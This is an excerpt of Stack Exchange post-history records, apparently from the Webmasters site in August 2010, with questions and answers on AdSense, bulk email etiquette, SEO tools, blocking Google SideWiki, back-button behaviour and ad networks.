  <row Id="3921" PostHistoryTypeId="2" PostId="2061" RevisionGUID="8fd1feb2-1ea4-4193-a71a-baee2b5fb96c" CreationDate="2010-08-10T02:35:19.100" UserId="1064" Text="&gt; Someone in the client's office read an&#xD;&#xA;&gt; article about how all the large&#xD;&#xA;&gt; agencies do A/B testing of concepts&#xD;&#xA;&gt; prior to going live....so it must be&#xD;&#xA;&gt; important for them to do too!&#xD;&#xA;&#xD;&#xA;All well and good if you're being paid large agency money for large agency results on a large agency site... unfortunately, as Kris and Thomas Owens have noted, statistical sampling doesn't scale *down* very well.&#xD;&#xA;&#xD;&#xA;Users who have paid for the service are **not** the people multivariate testing generally focuses upon (and wisely so) - the idea is to find how to convert people who **aren't** subscribers because there are more of them and their attention is worth more than the potential confusion to existing subscribers who've already signed off anyway." />
  <row Id="3922" PostHistoryTypeId="2" PostId="2062" RevisionGUID="83741fd0-0b06-4af0-9ab2-bfbd01e86731" CreationDate="2010-08-10T05:01:54.113" UserDisplayName="Amit" Text="I have adsense for content set up for my site running on my blog.&#xD;&#xA;&#xD;&#xA;It shows up below the post content on each single post (like this one): http://engineercreativity.com/blog/learning-xhtml-and-css-day-12-of-30/&#xD;&#xA;&#xD;&#xA;However, instead of this showing up:&#xD;&#xA;&#xD;&#xA;Ads by Google Ad1 Ad2 Ad3 ...&#xD;&#xA;&#xD;&#xA;THIS SHOWS UP:&#xD;&#xA;&#xD;&#xA;Ads by Google View ads about: [textbox] [button]&#xD;&#xA;&#xD;&#xA;Does anyone please have any idea on how to fix this?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;Amit&#xD;&#xA;" />
  <row Id="3923" PostHistoryTypeId="1" PostId="2062" RevisionGUID="83741fd0-0b06-4af0-9ab2-bfbd01e86731" CreationDate="2010-08-10T05:01:54.113" UserDisplayName="Amit" Text="Adsense for content not working" />
  <row Id="3924" PostHistoryTypeId="3" PostId="2062" RevisionGUID="83741fd0-0b06-4af0-9ab2-bfbd01e86731" CreationDate="2010-08-10T05:01:54.113" UserDisplayName="Amit" Text="&lt;google&gt;&lt;google-adsense&gt;" />
  <row Id="3925" PostHistoryTypeId="2" PostId="2063" RevisionGUID="fa473eef-5997-4d54-975e-b76c51847dce" CreationDate="2010-08-10T05:16:22.827" UserId="1398" Text="I'm going to be emailing all of my site users to update them on recent developments and remind them to come back to the site.  Are there any special precautions I should take.  I was going to do this through a loop in PHP.  I have about 1,000 users." />
  <row Id="3926" PostHistoryTypeId="1" PostId="2063" RevisionGUID="fa473eef-5997-4d54-975e-b76c51847dce" CreationDate="2010-08-10T05:16:22.827" UserId="1398" Text="Emailing all site users" />
  <row Id="3927" PostHistoryTypeId="3" PostId="2063" RevisionGUID="fa473eef-5997-4d54-975e-b76c51847dce" CreationDate="2010-08-10T05:16:22.827" UserId="1398" Text="&lt;php&gt;&lt;email&gt;&lt;spam&gt;" />
  <row Id="3930" PostHistoryTypeId="2" PostId="2065" RevisionGUID="85ae2eeb-1d73-4ebf-bb14-e5711b7aa060" CreationDate="2010-08-10T07:29:40.347" UserId="480" Text="Generally you'll want to avoid being detected as SPAM through using [the right content][1] and [DNS records][2].&#xD;&#xA;&#xD;&#xA;Sending 10 or more similar emails to a domain in a 30 minute window has also caused us some issues in the past (do not know the cause and it only affects a few domains). So we tend to make batches (in a scripting language such as PHP) then send through a script either using [cron][3] or [at][4].&#xD;&#xA;&#xD;&#xA;Limit the number of emails sent in each batch and monitor for rejections and abuse@/spam@ replies. Using receipts and unique tracking images will also help you determine the number of emails received. Unfortunately there is no one-size-fits-all solution when it comes to the sending side, but by being proactive you'll find the gaps that need plugged.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.masternewmedia.org/news/2008/05/24/spam_checking_tools_and_tips.htm&#xD;&#xA;  [2]: http://www.codinghorror.com/blog/2010/04/so-youd-like-to-send-some-email-through-code.html&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cron&#xD;&#xA;  [4]: http://www.computerhope.com/unix/uat.htm" />
  <row Id="3931" PostHistoryTypeId="2" PostId="2066" RevisionGUID="e1f2db16-a042-4ff8-80bc-850ac5079546" CreationDate="2010-08-10T07:44:40.327" UserId="1400" Text="I was wondering if anyone knew of any noteworthy SEO tracking web apps (either free or paid). I.e. i want to be able to track page rankings, rankings against keywords, trends over time etc.&#xD;&#xA;&#xD;&#xA;I've seen a couple, but most seem pretty amateur. I was hoping that there might be a gem out there somewhere?&#xD;&#xA;&#xD;&#xA;PS. I am aware of the google tools (webmaster and analytics). What I am interested in, is a web solution that will help me pro-actively keep on top of my sites SEO strategy, as well as pro actively alert me to opportunities to increase / enhance exposure." />
  <row Id="3932" PostHistoryTypeId="1" PostId="2066" RevisionGUID="e1f2db16-a042-4ff8-80bc-850ac5079546" CreationDate="2010-08-10T07:44:40.327" UserId="1400" Text="Any good SEO tracking apps out there?" />
  <row Id="3933" PostHistoryTypeId="3" PostId="2066" RevisionGUID="e1f2db16-a042-4ff8-80bc-850ac5079546" CreationDate="2010-08-10T07:44:40.327" UserId="1400" Text="&lt;seo&gt;" />
  <row Id="3934" PostHistoryTypeId="2" PostId="2067" RevisionGUID="4f80410d-6395-4aba-a006-1d82e0255640" CreationDate="2010-08-10T10:01:23.083" UserId="1402" Text="I've used Web CEO before when it was in version 5.0, currently version 8.1&#xD;&#xA;&#xD;&#xA;I would recommend that product, but to be fair have not surveyed the market for competing products&#xD;&#xA;&#xD;&#xA;Web CEO: http://www.webceo.com/ " />
  <row Id="3935" PostHistoryTypeId="2" PostId="2068" RevisionGUID="bdd78a57-fb2f-4f34-8f91-23c96e8d02cb" CreationDate="2010-08-10T13:19:41.373" UserId="108" Text="There are a ton of tools out there. Here are a few:&#xD;&#xA;&#xD;&#xA; - http://tools.seobook.com/&#xD;&#xA; - http://www.ibusinesspromoter.com/&#xD;&#xA; - http://www.webposition.com/&#xD;&#xA; - http://www.advancedwebranking.com/&#xD;&#xA;&#xD;&#xA;There is also http://www.webceo.com/ which was already mentioned." />
  <row Id="3936" PostHistoryTypeId="2" PostId="2069" RevisionGUID="fc98a55d-39b5-4379-acda-df0a3b92e884" CreationDate="2010-08-10T13:22:23.270" UserId="108" Text="One thing you will want to do is make sure to add an unsubscribe at the bottom of your mass email.  That way if any of your site users do not want to receive emails like this one in the future, they have a way to do it.  This is just good practice in general.&#xD;&#xA;&#xD;&#xA;In general it is ok to have mailing lists for different kinds of email for your site so if yous end a different kind of email in the future site users would have to unsubscribe from that separately but your really have to give them a way to get out this kind of email in the future." />
  <row Id="3937" PostHistoryTypeId="16" PostId="2067" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-10T13:22:48.883" UserId="55" />
  <row Id="3938" PostHistoryTypeId="16" PostId="2068" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-10T13:22:48.883" UserId="55" />
  <row Id="3939" PostHistoryTypeId="16" PostId="2066" RevisionGUID="00000000-0000-0000-0000-000000000000" CreationDate="2010-08-10T13:22:48.883" UserId="55" />
  <row Id="3940" PostHistoryTypeId="2" PostId="2070" RevisionGUID="b118b21f-5f42-4108-9e26-dffbc7b877cf" CreationDate="2010-08-10T13:44:18.007" UserId="1348" Text="Google created a tool that can be really great for some people, but it can also be a huge problem for others. I'm talking about the (in)famous &lt;a href=&quot;http://www.google.com/sidewiki&quot;&gt;SideWiki&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;I'm trying to find a way to block the use of SideWiki on a Web page. I no it can't be used on https, I know there's a javascript available on the web to block the google toolbar. But I'm looking for a clean solution that will not block any users from accessing the Web site, but will only disable the SideWiki.&#xD;&#xA;&#xD;&#xA;I didn't find anything in Google's documentation so I'm turning to you guys. Anyone knows how to do it?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="3941" PostHistoryTypeId="1" PostId="2070" RevisionGUID="b118b21f-5f42-4108-9e26-dffbc7b877cf" CreationDate="2010-08-10T13:44:18.007" UserId="1348" Text="Is there a way to block the use of Google's SideWiki ?" />
  <row Id="3942" PostHistoryTypeId="3" PostId="2070" RevisionGUID="b118b21f-5f42-4108-9e26-dffbc7b877cf" CreationDate="2010-08-10T13:44:18.007" UserId="1348" Text="&lt;google&gt;&lt;html&gt;" />
  <row Id="3943" PostHistoryTypeId="2" PostId="2071" RevisionGUID="b62febd9-920f-43f2-8f81-0fa4a760bd3e" CreationDate="2010-08-10T13:53:03.023" UserId="55" Text="When sending e-mail, its generally good to only send to people who have _opted in_. During your registration process, you should have a check box similar to this:&#xD;&#xA;&#xD;&#xA;&gt; [ ] Keep me up to date with what goes&#xD;&#xA;&gt; on here (approximately n emails&#xD;&#xA;&gt; monthly)&#xD;&#xA;&#xD;&#xA;Then, e-mail only users who have opted in. A much stronger strategy is to use what is known as a _double opt in_, which requires the user not only to click the box, but also click a confirmation link via e-mail before placed on the list to be contacted. Of course, as @Random Ben suggested, always provide a simple, one click means for users to unsubscribe.&#xD;&#xA;&#xD;&#xA;Depending on your country and local laws, you may also be required to:&#xD;&#xA;&#xD;&#xA; - List your full business name, address and telephone number&#xD;&#xA; - Inform the user that they are in no way obligated to take action on the e-mail&#xD;&#xA; - Clearly state that the e-mail is not an invoice of any kind&#xD;&#xA; - Other requirements&#xD;&#xA;&#xD;&#xA;I would not send a thousand e-mails in a single loop. This could set off anti SPAM measures from your host, as well as ensure your mail is rejected by remote recipients such as MSN. If revenue permits, perhaps check into using a third party that specializes in bulk mail delivery. They will know all of the laws you need to follow, they will have sophisticated software that helps to guarantee a low bounce rate and they are usually quite cheap.&#xD;&#xA;&#xD;&#xA;Otherwise, take a look at some of the open source mailing list / bulk mail managers on sites like Sourceforge. These may not be as sophisticated as commercial solutions, but most of them do a good job at 'trickling' out the messages over a longer period of time, while making sure that you don't send too many to one host at one time.&#xD;&#xA;&#xD;&#xA;For instance, if 700 of your visitors used `hotmail.com`, and you did not take special care, most (or all) of your messages would end up in SPAM folders, or not delivered at all.&#xD;&#xA;&#xD;&#xA;When (and yes, it is when, not if) you end up having to deal with a SPAM blacklist, you will  _always_ have a much easier time if you can prove that you use a double opt in system. This tells them that whoever complained (probably) just forgot that they subscribed.&#xD;&#xA;&#xD;&#xA;I'd spend just as much time worrying about how people get on the list to be contacted as I would worrying how to send the e-mail." />
  <row Id="3944" PostHistoryTypeId="5" PostId="2070" RevisionGUID="6674a43a-fcfe-4dfb-bd95-8adf2c2a9098" CreationDate="2010-08-10T13:54:50.710" UserId="55" Comment="added 2 characters in body" Text="Google created a tool that can be really great for some people, but it can also be a huge problem for others. I'm talking about the (in)famous &lt;a href=&quot;http://www.google.com/sidewiki&quot;&gt;SideWiki&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;I'm trying to find a way to block the use of SideWiki on a Web page. I know it can't be used on https, I know there's a javascript available on the web to block the google toolbar. But I'm looking for a clean solution that will not block any users from accessing the Web site, but will only disable the SideWiki.&#xD;&#xA;&#xD;&#xA;I didn't find anything in Google's documentation so I'm turning to you guys. Anyone knows how to do it?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="3945" PostHistoryTypeId="2" PostId="2072" RevisionGUID="b58e680a-649b-4f67-9a03-cc44f33204c4" CreationDate="2010-08-10T14:16:57.443" UserId="1204" Text="I would have thought that searching is the best way to find good SEO tools: if the company knows enough about SEO that their products are worth using then they'll be near the top of the lists on relevant searches." />
  <row Id="3946" PostHistoryTypeId="16" PostId="2072" RevisionGUID="b58e680a-649b-4f67-9a03-cc44f33204c4" CreationDate="2010-08-10T14:16:57.443" UserId="-1" />
  <row Id="3947" PostHistoryTypeId="2" PostId="2073" RevisionGUID="6d991073-6844-4a28-bac5-bb9d2fba10a0" CreationDate="2010-08-10T14:47:09.977" UserId="108" Text="I do not believe there is currently a way to disable the Google Toolbar beyond using https or adding the JavaScript disable script.&#xD;&#xA;&#xD;&#xA;Here is a discussion from the Google forums about it, http://www.google.com/support/forum/p/Webmasters/thread?tid=494bb6012632fb05.&#xD;&#xA;&#xD;&#xA;One thing to remember is only a very small number of people actually use the Google Toolbar." />
  <row Id="3948" PostHistoryTypeId="2" PostId="2074" RevisionGUID="4fa71d67-33ba-4c0b-ad82-165258973437" CreationDate="2010-08-10T14:57:55.833" UserId="1240" Text="Legally I think you are fine.&#xD;&#xA;&#xD;&#xA;From a SEO perspective though, 8 characters of wasted space." />
  <row Id="3949" PostHistoryTypeId="2" PostId="2075" RevisionGUID="c949694b-6601-4ce8-810b-3edc229902b4" CreationDate="2010-08-10T15:38:43.753" UserId="845" Text="*Since this is quite a conceptual question which might involve a bit of discussion, I've made it a community wiki*&#xD;&#xA;&#xD;&#xA;I'm working on a site that will work as a fairly simple aggregator of content from various sources including several twitter, flickr, and facebook accounts. Updates will occur on a periodic basis, at which point feed data will be fetched and updated in a local store. A single page on the site will display the latest set of content; other static pages will be updated occasionally.&#xD;&#xA;&#xD;&#xA;I'm building the site on top of Wordpress to facilitate easy management for a non-technical editor.&#xD;&#xA;&#xD;&#xA;My initial prototype stored details of each feed item's content (e.g. title, link, description, image) in a custom built database. However, since beginning the Wordpress side of things, I'm wondering if it wouldn't make more sense to utilise the existing wordpress database for this purpose - i.e. store each feed item as a Wordpress post (in wp_posts) and additional data in wp_postmeta. The category/tag model could be used to differentiate twitter items from flickr ones, etc. This would give the advantage of using just a single database, and also making all wordpress functions available for the management of individual post items.&#xD;&#xA;&#xD;&#xA;Does anyone have an opinion on this, particularly any 'gotchas' or possible pitfalls that may arise from such an approach?" />
  <row Id="3950" PostHistoryTypeId="1" PostId="2075" RevisionGUID="c949694b-6601-4ce8-810b-3edc229902b4" CreationDate="2010-08-10T15:38:43.753" UserId="845" Text="Implementing an aggregator and integrating it with Wordpress" />
  <row Id="3951" PostHistoryTypeId="3" PostId="2075" RevisionGUID="c949694b-6601-4ce8-810b-3edc229902b4" CreationDate="2010-08-10T15:38:43.753" UserId="845" Text="&lt;wordpress&gt;&lt;feeds&gt;" />
  <row Id="3952" PostHistoryTypeId="16" PostId="2075" RevisionGUID="c949694b-6601-4ce8-810b-3edc229902b4" CreationDate="2010-08-10T15:38:43.753" UserId="845" />
  <row Id="3953" PostHistoryTypeId="2" PostId="2076" RevisionGUID="75b238d8-52f7-4f35-b2b8-881d39841b63" CreationDate="2010-08-10T15:39:49.323" UserId="221" Text="It is increasingly common for &quot;rich&quot; applications to break the back button. I've always held that this was bad form but perhaps that view is outdated?&#xD;&#xA;&#xD;&#xA;Is it ever Ok to break the back button? And if so, what are the criteria?" />
  <row Id="3954" PostHistoryTypeId="1" PostId="2076" RevisionGUID="75b238d8-52f7-4f35-b2b8-881d39841b63" CreationDate="2010-08-10T15:39:49.323" UserId="221" Text="'Back button' functionality, how important is it?" />
  <row Id="3955" PostHistoryTypeId="3" PostId="2076" RevisionGUID="75b238d8-52f7-4f35-b2b8-881d39841b63" CreationDate="2010-08-10T15:39:49.323" UserId="221" Text="&lt;web-development&gt;&lt;standards&gt;" />
  <row Id="3957" PostHistoryTypeId="5" PostId="2076" RevisionGUID="7209dbf1-4fe8-4d9d-b7a2-50e703932b97" CreationDate="2010-08-10T15:49:48.717" UserId="221" Comment="added 210 characters in body" Text="It is increasingly common for &quot;rich&quot; applications to break the back button. I've always held that this was bad form but perhaps that view is outdated?&#xD;&#xA;&#xD;&#xA;Is it ever Ok to break the back button? And if so, what are the criteria?&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;**Edit:** &#xD;&#xA;To clarify I was more referring to applications where clicking the back button basically just sends you right back where you were. Effectively disabled but not in any way harmful to press." />
  <row Id="3960" PostHistoryTypeId="2" PostId="2078" RevisionGUID="966842f8-933e-4fc9-8a73-23dd8464f1c9" CreationDate="2010-08-10T15:57:19.573" UserId="1253" Text="Breaking the back button is like breaking the brake pedal in a car. Users expect it to always work and when it suddenly doesn't mayhem ensues. The back button might be the most used UI feature in a browser so altering its behavior it any way can, at best, do no good, and, at worst, result in user confusion and abandonment (or increased customer support costs). Even if it takes the user right back to where they were *that's not what they were expecting*.&#xD;&#xA;&#xD;&#xA;Breaking the back button should be avoided. " />
  <row Id="3961" PostHistoryTypeId="2" PostId="2079" RevisionGUID="8e57ac71-5a59-4cae-aec0-3f84f89125f4" CreationDate="2010-08-10T16:18:10.637" UserId="1408" Text="Only break the back button if it is expected (if it makes sense to not go back after an event in your website).&#xD;&#xA;&#xD;&#xA;Mozilla did a study about how people are using its browser and the results for the back button are impressive:&#xD;&#xA;&#xD;&#xA;&gt; The Back button is used far more often than any other navigation element (by which we mean the Back, Forward, Reload, Stop, and Home buttons). 93.1% of study participants used the Back button at least once, and **on average, each user clicked Back 66.2 times over the 5 days** – that’s 3x more clicks than the Reload button, 10x more than the Home button, and over 30x more than the Forward and Stop buttons!&#xD;&#xA;&#xD;&#xA;I use the back button a lot and I hate it when I can't use it." />
  <row Id="3962" PostHistoryTypeId="2" PostId="2080" RevisionGUID="2db1e6ba-65f7-4860-8c72-5f8889b3930f" CreationDate="2010-08-10T16:29:19.287" UserId="223" Text="The main reason why it is &quot;increasingly common&quot; is that some RIA frameworks do not support the back button or require you to actively think about how to incorporate it's use into your application. Most frameworks do offer some support for navigation though, such as Silverlight 3's support for [Frames and Page controls][1], you just have to know how to use it effectivly. The same navigation framework is used in Windows Phone 7 applications.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.silverlightshow.net/items/The-Silverlight-3-Navigation-Framework.aspx" />
  <row Id="3963" PostHistoryTypeId="2" PostId="2081" RevisionGUID="5c754314-5264-41c3-b9dd-5c8bbea60cf6" CreationDate="2010-08-10T16:52:36.153" UserId="26" Text="I'm not sure people remember [ThirdVoice][1]. SideWiki is basically that, but a decade later. None of [these systems][2] have (yet? ever?) caught on in a big way. These systems are basically just mechanisms for criticism. And just as you can't really control the reviews of your site or business on Yelp or Facebook or even the newspaper, you can't control these systems.&#xD;&#xA;&#xD;&#xA;Here's a [discussion of possible ways to defeat SideWiki][3], though some [are technical][4] and will thus be transient in nature. It looks like there's no `robots.txt`-style opt out at this point.&#xD;&#xA;&#xD;&#xA;Now, based on the [SideWiki API documentation][5], it looks like you can get a feed of your site's SideWiki items, and if you care to, you can counter claims that you feel are in error.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wired.com/techbiz/media/news/2001/04/42803&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Web_annotation&#xD;&#xA;  [3]: http://www.google.com/support/forum/p/Webmasters/thread?tid=494bb6012632fb05&#xD;&#xA;  [4]: http://code.google.com/p/sidewiki-defeat/&#xD;&#xA;  [5]: http://code.google.com/apis/sidewiki/" />
  <row Id="3964" PostHistoryTypeId="2" PostId="2082" RevisionGUID="0fd0a661-17d9-42cc-a88f-1169f1ea8688" CreationDate="2010-08-10T16:55:11.953" UserId="233" Text="Breaking the back button may be OK in some cases, but it is almost always unnecessary. I've seen it a lot with multi-step forms where you post from one page to the next to the next. What you should do in this instance is from your form page (1), post to a different page (2) that (for example) stores stuff in the session, then redirect back to another page (3). When the user presses the back button they will go from (3) back to (1).&#xD;&#xA;&#xD;&#xA;Even with RIAs you can uses URL hashes/anchors (i.e. `page.html#section`) and monitor them for changes. Gmail does this for the different 'pages' like Inbox, Compose, Settings etc. [This question on Stack Overflow][1] will help if you if you want to implement that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1078501/keeping-history-of-hash-anchor-changes-in-javascript" />
  <row Id="3965" PostHistoryTypeId="2" PostId="2083" RevisionGUID="3714c4f5-5966-4087-b7d0-020f7209ef2a" CreationDate="2010-08-10T17:00:47.797" UserId="180" Text="[Tribal Fusion](http://www.tribalfusion.com/)" />
  <row Id="3966" PostHistoryTypeId="16" PostId="2083" RevisionGUID="3714c4f5-5966-4087-b7d0-020f7209ef2a" CreationDate="2010-08-10T17:00:47.797" UserId="-1" />
  <row Id="3967" PostHistoryTypeId="2" PostId="2084" RevisionGUID="8182317f-2a74-40c2-9333-b09b168aab6f" CreationDate="2010-08-10T17:01:39.480" UserId="180" Text="[Casale Media](http://www.casalemedia.com/)" />
  <row Id="3968" PostHistoryTypeId="16" PostId="2084" RevisionGUID="8182317f-2a74-40c2-9333-b09b168aab6f" CreationDate="2010-08-10T17:01:39.480" UserId="-1" />
  <row Id="3969" PostHistoryTypeId="5" PostId="2045" RevisionGUID="035a7d1b-a77b-44ab-99d1-e3855f146f86" CreationDate="2010-08-10T17:04:19.367" UserId="576" Comment="added 499 characters in body" Text="You can use a web debugging tool like [Fiddler][1] to track which element isn't going over HTTPS or check the server logs to see which one isn't using port 443.&#xD;&#xA;&#xD;&#xA;If the warning persists, you may have to inspect your JavaScript &amp; CSS code for references to any files, as [explained here][2]&#xD;&#xA;&#xD;&#xA;Update: I noticed that when you run a [test on WebPageTest.org][3] for a HTTPS URL, the secure page elements are shown with a lock in front of their URL in the details page of the Waterfall chart. I've tested this with a secure page but not with one containing mixed content and I guess it will differentiate between the two. This maybe a better tool to use as no installation is required and as the service is online, it can work on any OS including Mac.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/Fiddler2/version.asp&#xD;&#xA;  [2]: http://weblogs.asp.net/rchartier/archive/2008/03/12/ie7-this-page-contains-both-secure-and-nonsecure-items.aspx&#xD;&#xA;  [3]: http://www.webpagetest.org/test" />
  <row Id="3970" PostHistoryTypeId="2" PostId="2085" RevisionGUID="e6783e08-0410-48a8-a3dd-d0364122f207" CreationDate="2010-08-10T17:05:00.520" UserId="180" Text="[Burst Media](http://www.burstmedia.com/)" />
  <row Id="3971" PostHistoryTypeId="16" PostId="2085" RevisionGUID="e6783e08-0410-48a8-a3dd-d0364122f207" CreationDate="2010-08-10T17:05:00.520" UserId="-1" />
  <row Id="3972" PostHistoryTypeId="2" PostId="2086" RevisionGUID="d4a98f84-e988-4ea5-a74d-4b26f8540fc9" CreationDate="2010-08-10T17:06:09.720" UserId="180" Text="[ValueClick Media](http://www.valueclickmedia.com/)" />
  <row Id="3973" PostHistoryTypeId="16" PostId="2086" RevisionGUID="d4a98f84-e988-4ea5-a74d-4b26f8540fc9" CreationDate="2010-08-10T17:06:09.720" UserId="-1" />
  <row Id="3974" PostHistoryTypeId="2" PostId="2087" RevisionGUID="8069e80a-2a4c-4066-9c9f-1dd08d8f32b4" CreationDate="2010-08-10T17:10:51.400" UserId="26" Text="This is called [lifestreaming][1] and I think you should look at [Managing News][2] and [this thread][3].&#xD;&#xA;&#xD;&#xA;There are also [plugins for WordPress][4] that do this, sure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Lifestreaming&#xD;&#xA;  [2]: http://managingnews.com/&#xD;&#xA;  [3]: http://ask.metafilter.com/156368/Help-Me-Build-a-Custom-FriendFeed&#xD;&#xA;  [4]: http://wordpress.org/extend/plugins/tags/lifestream" />
  <row Id="3975" PostHistoryTypeId="16" PostId="2087" RevisionGUID="8069e80a-2a4c-4066-9c9f-1dd08d8f32b4" CreationDate="2010-08-10T17:10:51.400" UserId="-1" />
  <row Id="3976" PostHistoryTypeId="5" PostId="1778" RevisionGUID="7f54f981-4f3a-4836-9dea-dfb7d4040e41" CreationDate="2010-08-10T18:05:53.237" UserId="26" Comment="a few grammar fixes" Text="I think [Flowplayer][1] (It's very good documented and with many examples) or something similar is a better solution as a snippet which you maybe have to edit or maintain.&#xD;&#xA;&#xD;&#xA;Once FlowPlayer is configured right, it can serve thumbs without loading the full video. It's a little bit tricky to configure this, but once it's work you have solid, multiplattform solution. (And with a click on the thumb the video plays ;-))&#xD;&#xA;&#xD;&#xA;If you choose flowplayer, you should also take a look at [video4all][2] (uses html5 with flowplayer as fallback) and the [flowplayer-plugins][3]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   [1]: http://flowplayer.org/index.html&#xD;&#xA;   [2]: http://code.google.com/p/video4all/&#xD;&#xA;   [3]: http://flowplayer.org/plugins/index.html&#xD;&#xA;" />
  <row Id="3980" PostHistoryTypeId="2" PostId="2089" RevisionGUID="0deeb93c-8559-48ed-b0d7-eb23b8190391" CreationDate="2010-08-10T18:38:03.373" UserId="536" Text="My advice:&#xD;&#xA;&#xD;&#xA; 1. Read the other answers here&#xD;&#xA; 2. Realize that sending email to 1,000 users entails a high degree of risk that your users won't get the email because it's classified as spam, that you'll be classified as a spammer, or both&#xD;&#xA; 3. Consider spending money for this rather than doing it yourself.&#xD;&#xA;&#xD;&#xA;Companies that do this for a living know how to get on whitelists for major email providers (hotmail, gmail, aol, etc) and will help you with deliverability, unsubscribe links, etc.&#xD;&#xA;&#xD;&#xA;Some options are discussed in &lt;a href=&quot;http://webapps.stackexchange.com/questions/4828/email-campaign-website-with-api-that-takes-email-addresses&quot;&gt;this question on the webapps site&lt;/a&gt;. With mailchimp or campaignmonitor, sending to 1,000 users can cost as little as $15.&#xD;&#xA;" />
  <row Id="3981" PostHistoryTypeId="2" PostId="2090" RevisionGUID="2128c2e2-cc96-4f9a-91b5-c7c72699d8c1" CreationDate="2010-08-10T19:01:22.390" UserId="236" Text="Studies have shown that almost 1/3 of clicks when using the browser is on the back button (from Don't Make Me Think). I honestly don't believe there is ever a good reason to stop the back button from working. people should be able to navigate around your site however they see fit.  " />
  <row Id="3982" PostHistoryTypeId="2" PostId="2091" RevisionGUID="edd0a7e1-d7ee-4b7f-aea3-ab5db9ac489a" CreationDate="2010-08-10T20:05:45.860" UserId="1414" Text="It is important to break the back button at sites where user is taking quiz, some banking sites. Generally , not a good idea." />
  <row Id="3983" PostHistoryTypeId="5" PostId="2026" RevisionGUID="128a8652-bca7-4c0a-af52-cea06707d1f0" CreationDate="2010-08-10T20:14:01.380" UserId="1368" Comment="added 182 characters in body; added 4 characters in body" Text="I have a website where I have many of the programs I host, and I am looking for alternatives for publishing ads. Reason why im asking is because traffic on my site has more then trippeled the ad revenue has gone down.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I know about [google adsense][1] and [adbrite][2].&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;*Requirements are: &lt;br&gt;&#xD;&#xA;*Control over the ads.&lt;br&gt;&#xD;&#xA;*Regular ads.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Bonus:&lt;br&gt;&#xD;&#xA;*Ability to control the ads via &quot;type&quot; like automaticly block moving/annoying clash ads&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;My site has over 20k pageviews a month.&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/adsense&#xD;&#xA;  [2]: http://www.adbrite.com/&#xD;&#xA;&#xD;&#xA;**Adsense**&lt;br&gt;&#xD;&#xA;+No minimum requirements for traffic.&lt;br&gt;&#xD;&#xA;+No adult ads&lt;br&gt;&#xD;&#xA;+Some times gives out free ad money, so you can advertise you site.&lt;br&gt;&#xD;&#xA;-Very limted control over the ads ( You can block spesfic domains where the ads come from).&lt;br&gt;&#xD;&#xA;-Many &quot;scammy&quot; ads over products that seems to good to be true ( IE download X to fix your computer).&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;**Adbrite**&lt;br&gt;&#xD;&#xA;-Can't realy say much about them, i &quot;gave&quot; them 250k pageviews and i got less then 1 dollar in revenue back.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;**When adding information about a ad publisher, please provide some basic information to help others viewing this topic. And if your willing provide personal experience also.&lt;br&gt;**" />
  <row Id="3986" PostHistoryTypeId="2" PostId="2093" RevisionGUID="e4c17651-5f43-4fc9-8807-3822b24b884f" CreationDate="2010-08-10T21:12:16.513" UserId="1111" Text="Have you tried [http://dnshistory.org][1]? I've tested it with my private - not listed on google - domain and the site returns complete history of NS, MX, A, etc. changes. I don't know how many domains/nameservers the site has &quot;crawled&quot;. But i was surprised that the site has found my private domain.&#xD;&#xA;&#xD;&#xA;Maybe that fits your needs?&#xD;&#xA;&#xD;&#xA;  [1]: http://dnshistory.org" />
  <row Id="3988" PostHistoryTypeId="2" PostId="2094" RevisionGUID="4529dc45-b866-4779-ad70-f286136fba76" CreationDate="2010-08-10T21:54:59.583" UserId="1416" Text="I'm developing a website and it's closing onto a private alpha/beta phase. It will be exposed to a small selected group of individuals who will provide a fair amount of feedback.&#xD;&#xA;&#xD;&#xA;What options do I have for this feedback system? I would certainly like to make it collaborative (excluding email). I could mock up a really simple message board, but would rather use my time elsewhere.&#xD;&#xA;&#xD;&#xA;The feedback will mainly consist of feature suggestions and bug reports." />
  <row Id="3989" PostHistoryTypeId="1" PostId="2094" RevisionGUID="4529dc45-b866-4779-ad70-f286136fba76" CreationDate="2010-08-10T21:54:59.583" UserId="1416" Text="Feedback/bug tracking system for a alpha/beta phase website?" />
  <row Id="3990" PostHistoryTypeId="3" PostId="2094" RevisionGUID="4529dc45-b866-4779-ad70-f286136fba76" CreationDate="2010-08-10T21:54:59.583" UserId="1416" Text="&lt;web-development&gt;" />
  <row Id="3991" PostHistoryTypeId="5" PostId="2094" RevisionGUID="098694aa-e16a-4f04-b0ca-97cd4465ae24" CreationDate="2010-08-10T22:00:14.573" UserId="1416" Comment="added 63 characters in body" Text="I'm developing a website and it's closing onto a private alpha/beta phase. It will be exposed to a small selected group of individuals who will provide a fair amount of feedback.&#xD;&#xA;&#xD;&#xA;What options do I have for this feedback system? I would certainly like to make it collaborative (excluding email). I could mock up a really simple message board, but would rather use my time elsewhere.&#xD;&#xA;&#xD;&#xA;The feedback will mainly consist of feature suggestions and bug reports.&#xD;&#xA;&#xD;&#xA;Edit: Actually, would prefer if it's a free hosted service." />
